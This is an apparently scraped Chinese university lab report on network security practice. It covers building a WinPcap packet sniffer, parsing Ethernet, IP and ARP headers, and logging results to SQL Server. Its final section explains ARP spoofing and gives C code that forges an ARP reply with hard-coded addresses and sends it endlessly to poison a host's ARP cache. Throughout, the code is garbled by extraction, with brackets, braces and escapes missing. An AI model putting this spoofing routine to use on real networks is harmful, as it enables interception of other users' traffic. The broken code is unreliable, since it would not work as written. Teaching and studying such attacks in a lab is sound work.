信息安全專業(yè)實(shí)驗(yàn)報告_第1頁
信息安全專業(yè)實(shí)驗(yàn)報告_第2頁
信息安全專業(yè)實(shí)驗(yàn)報告_第3頁
信息安全專業(yè)實(shí)驗(yàn)報告_第4頁
信息安全專業(yè)實(shí)驗(yàn)報告_第5頁
已閱讀5頁,還剩8頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、精選優(yōu)質(zhì)文檔-傾情為你奉上信息安全專業(yè)程序?qū)嵺`四網(wǎng)絡(luò)安全與網(wǎng)絡(luò)管理實(shí)踐報告軟件學(xué)院實(shí)驗(yàn)成績表程序?qū)嵺`網(wǎng)絡(luò)管理與網(wǎng)絡(luò)安全實(shí)踐 實(shí)踐成績指導(dǎo)教師簽字時間東北大學(xué)軟件學(xué)院2011年版專心-專注-專業(yè)程序?qū)嵺` 1. 實(shí)踐內(nèi)容l 掌握Sniffer程序的原理l 通過Winpcap抓取數(shù)據(jù)包,并加以分析。l 對數(shù)據(jù)包的抓取進(jìn)行過濾,得到目標(biāo)數(shù)據(jù)包。l 對抓取的數(shù)據(jù)包進(jìn)行分析,分析得出MAC地址,IP地址,端口、協(xié)議等等信息。l 將獲得的數(shù)據(jù)包分析結(jié)論存儲到SQL Server 2008數(shù)據(jù)庫中。l 實(shí)現(xiàn)一個類似于Ethereal的源程序。l 根據(jù)ARP報文格式,通過更改IP和MAC的對應(yīng)實(shí)現(xiàn)ARP欺騙。2

2、. 實(shí)踐過程一、 捕獲數(shù)據(jù)包通過Winpcap捕獲數(shù)據(jù)包,并實(shí)現(xiàn)數(shù)據(jù)包的過濾,得到目標(biāo)協(xié)議的數(shù)據(jù)包,流程如圖1:圖1 捕獲數(shù)據(jù)包的過程在本程序中,我們通過新建一個線程來實(shí)現(xiàn)對數(shù)據(jù)包的捕獲,首先在程序的初始化階段進(jìn)行WinPcap環(huán)境的初始化,查找本機(jī)的設(shè)備列表以及打開我們希望使用的網(wǎng)卡設(shè)備。具體代碼如下:void CSnifferDlg:InitPcap()pcap_if_t *d; int i=0; char errbufPCAP_ERRBUF_SIZE; / 獲取本地機(jī)器設(shè)備列表 if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL , &

3、;alldevs, errbuf) = -1)/ auth is not needed CString errInfo="Error in pcap_findalldevs_ex:"errInfo+=errbuf;MessageBox(errInfo); exit(1); / 打印列表 for(d= alldevs; d != NULL; d= d->next) printf("%d. %s", +i, d->name); if (d->description)printf("nt"); printf("

4、(%s)n", d->description); else printf(" (No description available)n"); if (i = 0) MessageBox("nNo interfaces found! Make sure WinPcap is installed.n"); /打開網(wǎng)卡d=alldevs->next;d=d->next;if(devs=pcap_open_live(d->name,65536,0,5000,errbuf)=NULL)CString errInfo="Er

5、ror in pcap_open_live:"errInfo+=errbuf;MessageBox(errInfo);pcap_freealldevs(alldevs); exit(1);if(pcap_datalink(devs) != DLT_EN10MB) CString errInfo="This program works only on Ethernet networksn"MessageBox(errInfo); /* 釋放設(shè)備列表 */ pcap_freealldevs(alldevs); exit(1); /設(shè)置規(guī)則struct bpf_prog

6、ram fcode;bpf_u_int32 netmask;netmask=0xffffff;if(pcap_compile(devs,&fcode,"",0,netmask)=-1)CString errInfo="Error in pcap_complie:"errInfo+=errbuf;MessageBox(errInfo);pcap_freealldevs(alldevs); exit(1);if (pcap_setfilter(devs, &fcode)=-1) CString errInfo="Error in p

7、cap_setfilter:"errInfo+=errbuf;MessageBox(errInfo);pcap_freealldevs(alldevs); exit(1); /不再需要設(shè)備列表了,釋放它/ pcap_freealldevs(alldevs);/上述是我們初始化網(wǎng)卡設(shè)備的程序代碼,而當(dāng)我們打開設(shè)備之后,通過創(chuàng)建線程進(jìn)行數(shù)據(jù)包捕獲,并且調(diào)用每一層的協(xié)議分析的代碼進(jìn)行協(xié)議分析,同時記錄程序所捕獲到的不同協(xié)議的數(shù)據(jù)包的個數(shù),我們這里利用到的線程函數(shù)如下所示:UINT ThreadFunc(LPVOID pParam)struct tm *ltime; char timestr

8、16; time_t local_tv_sec;int res;struct pcap_pkthdr *header;const u_char *pkt_data;CListCtrl *m_TD=(CListCtrl *)pParam;while(res=pcap_next_ex(devs, &header, &pkt_data)>=0)if(res=0)continue;/ 將時間戳轉(zhuǎn)換成可識別的格式local_tv_sec = header->ts.tv_sec;ltime=localtime(&local_tv_sec);strftime( times

9、tr, sizeof timestr, "%H:%M:%S", ltime); CString time;time+=timestr;CString tempNum;tempNum.Format("%d",pkNum);m_TD->InsertItem(pkNum, tempNum);m_TD->SetItemText(pkNum, 1,time);/以太網(wǎng)分析ethernet_packet_handler(pParam,header,pkt_data);pkNum+;totalNum+;if (isOpen=FALSE)break;if(r

10、es=-1)CString err="Error reading the packets: "err+=pcap_geterr(devs);AfxMessageBox(err);return 0;二、 數(shù)據(jù)包的分析利用定義好的報文頭部結(jié)構(gòu)體,通過內(nèi)存地址,獲取每一層協(xié)議的對應(yīng)的報文信息,對于數(shù)據(jù)包的分析過程可用圖2所示流程圖進(jìn)行表示:圖2 數(shù)據(jù)包分析流程通過對每一層協(xié)議的分析,得出在不同的協(xié)議下的數(shù)據(jù)報信息,下面是我們列舉的捕獲分析以太網(wǎng)數(shù)據(jù)包的代碼片段:/* 每次捕獲到數(shù)據(jù)包時,都會自動調(diào)用這個回調(diào)函數(shù) */void ethernet_packet_handler(LPV

11、OID pParam,const struct pcap_pkthdr *header, const u_char *pkt_data)dlc_Header *dlcHeader;dlcHeader=(dlc_Header *) pkt_data;CListCtrl *m_TD=(CListCtrl *)pParam;/輸出源mac地址 目的mac地址CString SrcMac,DesMac,tempMac;for(int i=0;i<5;i+)tempMac.Format("%02x",dlcHeader->srcmaci);SrcMac+=tempMac;

12、tempMac.Format("%02x",dlcHeader->desmaci);DesMac+=tempMac;SrcMac+=":"DesMac+=":"tempMac.Format("%02x",dlcHeader->srcmac5);tempMac.Format("%02x",dlcHeader->desmac5);SrcMac+=tempMac;DesMac+=tempMac;m_TD->SetItemText(pkNum,4,SrcMac);m_TD->

13、;SetItemText(pkNum,5,DesMac);switch (ntohs(dlcHeader->ethertype)case 0x0800: /0x806 arp protocol 0x8035 rarpip_packet_handler(pParam,header,pkt_data);break;case 0x806:/ARP ProtocolarpNum+;m_TD->SetItemText(pkNum,8,"ARP");arp_packet_handler(pParam,header,pkt_data);break;default:m_TD-&

14、gt;SetItemText(pkNum,8,"Other");m_TD->SetItemText(pkNum,2,"Other");m_TD->SetItemText(pkNum,3,"Other");m_TD->SetItemText(pkNum,6,"Other");m_TD->SetItemText(pkNum,7,"Other");三、 存儲數(shù)據(jù)到SQL Server 2008數(shù)據(jù)庫我們首先通過語句載入C盤文件#import"C:ProgramFile

15、sCommonFilesSystemadomsado15.dll"no_namespacerename("EOF","adoEOF")然后利用:CoInitialize(NULL); 語句來初始化OLE/COM庫環(huán)境連接字符串如下:hr = m_pConnection.CreateInstance("ADODB.Connection");/創(chuàng)建Connection對象_bstr_t strConnect="driver=sql server;server=(local);uid=;pwd=;database=tes

16、t"來連接到數(shù)據(jù)庫。我們通過Execute、以及_RecordsetPtr來實(shí)現(xiàn)對數(shù)據(jù)庫的增刪改查。在程序退出之后,我們還需要關(guān)閉記錄集和鏈接。利用:CoUninitialize();語句來關(guān)閉ole/com庫,釋放資源四、 實(shí)現(xiàn)ARP欺騙ARP欺騙的原理:一個位于主機(jī)B 的入侵者想非法進(jìn)入主機(jī)A,入侵者必須讓主機(jī)A 相信主機(jī)B 就是主機(jī)C,如果主機(jī)A 和主機(jī)C 之間的信任關(guān)系是建立在硬件地址的基礎(chǔ)上。這個時候需要用ARP 欺騙的手段讓主機(jī)A 把自己的ARP 緩存中的關(guān)于 映射的硬件地址改為主機(jī)B 的硬件地址。可以制造假的ARP 請求報文或者是應(yīng)答報文,指定AR

17、P 包中的源IP、目標(biāo)IP、源MAC 地址、目標(biāo)MAC 地址。這樣就可以通過虛假的ARP 請求報或響應(yīng)包來修改主機(jī)A 上的動態(tài)ARP 緩存達(dá)到欺騙的目的。我們首先通過填充arp報文,然后通過pcap_sendpacket方法實(shí)現(xiàn)虛假的ARP數(shù)據(jù)包的發(fā)送。具體代碼如下:arp_header ah;ah.desmac0=0x10;ah.desmac1=0x78;ah.desmac2=0xd2;ah.desmac3=0xf7;ah.desmac4=0x60;ah.desmac5=0xfa;ah.srcmac0=0x10;ah.srcmac1=0x78;ah.srcmac2=0xd2;ah.srcma

18、c3=0xf5;ah.srcmac4=0xc9;ah.srcmac5=0xf8;ah.ethertype=0x0608;ah.HW_Type=0x0100;ah.Prot_Type=0x0008;ah.HW_Addr_Len=0x06;ah.Prot_Addr_Len=0x04;ah.Flag=0x0200;ah.Send_HW_Addr0=0x10;ah.Send_HW_Addr1=0x78;ah.Send_HW_Addr2=0xd2;ah.Send_HW_Addr3=0xf5;ah.Send_HW_Addr4=0xc9;ah.Send_HW_Addr5=0xf8;ah.saddr0=0x0

19、a;ah.saddr1=0x01;ah.saddr2=0x01;ah.saddr3=0x37;ah.Targ_HW_Addr0=0x10;ah.Targ_HW_Addr1=0x78;ah.Targ_HW_Addr2=0xd2;ah.Targ_HW_Addr3=0xf7;ah.Targ_HW_Addr4=0x60;ah.Targ_HW_Addr5=0xfa;ah.daddr0=0x0a;ah.daddr1=0x01;ah.daddr2=0x01;ah.daddr3=0x36;for (int k=0;k<18;k+)ah.Paddingk=0;unsigned char *arppacke

20、t = (unsigned char*)malloc(sizeof(ah);memcpy(arppacket, &ah, sizeof(ah); pcap_t *adhandle; pcap_if_t *fp; pcap_if_t *d; char errbufPCAP_ERRBUF_SIZE; int i = 0; /* 獲取網(wǎng)卡列表 */ if(pcap_findalldevs(&fp, errbuf) = -1) fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf); exit(1); /*

21、數(shù)據(jù)列表 */ for(d=fp; d; d=d->next) printf("%d. %s", +i, d->name); if(d->description) printf(" (%s)n", d->description); else printf(" (No description available)n"); if(i=0) printf("nNo interfaces found! Make sure WinPcap is installed.n"); return -1; d=

22、fp; d=d->next; d=d->next; /* 打開網(wǎng)卡 */ if( (adhandle= pcap_open_live(d->name, /設(shè)備名 65535, / 捕捉完整的數(shù)據(jù)包 1, / 混在模式 1000, / 讀入超時 errbuf / 錯誤緩沖 ) ) = NULL) /* Y- 打開失敗*/ fprintf(stderr,"nUnable to open the adapter. %s is not supported by WinPcapn"); /* 釋放列表 */ pcap_freealldevs(fp); return

23、-1; / pcap_sendpacket(adhandle,packet,100); int Pnum=0; for(;) printf("Send package %dn",+Pnum); pcap_sendpacket(adhandle,arppacket,sizeof(ah); _sleep(100); 問題及解決1. 在通過線程捕獲數(shù)據(jù)包時,由于線程函數(shù)的創(chuàng)建錯誤導(dǎo)致程序不能正常運(yùn)行,后來通過UINT ThreadFunc(LPVOID pParam) 定義函數(shù)名后,程序正常運(yùn)行。2. 由于連接數(shù)據(jù)庫的鏈接字符串出現(xiàn)問題,所以常常出現(xiàn)“未知的錯誤”導(dǎo)致我們鏈接數(shù)據(jù)庫失敗。3. 在進(jìn)行arp欺騙時,常常將目標(biāo)MAC與原MAC混淆導(dǎo)致欺騙失敗。在通過Ethernet捕獲發(fā)送的數(shù)據(jù)包后發(fā)現(xiàn)問題所在并得到了改正。3. 實(shí)踐總結(jié)一、 實(shí)驗(yàn)結(jié)果源程序最終

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論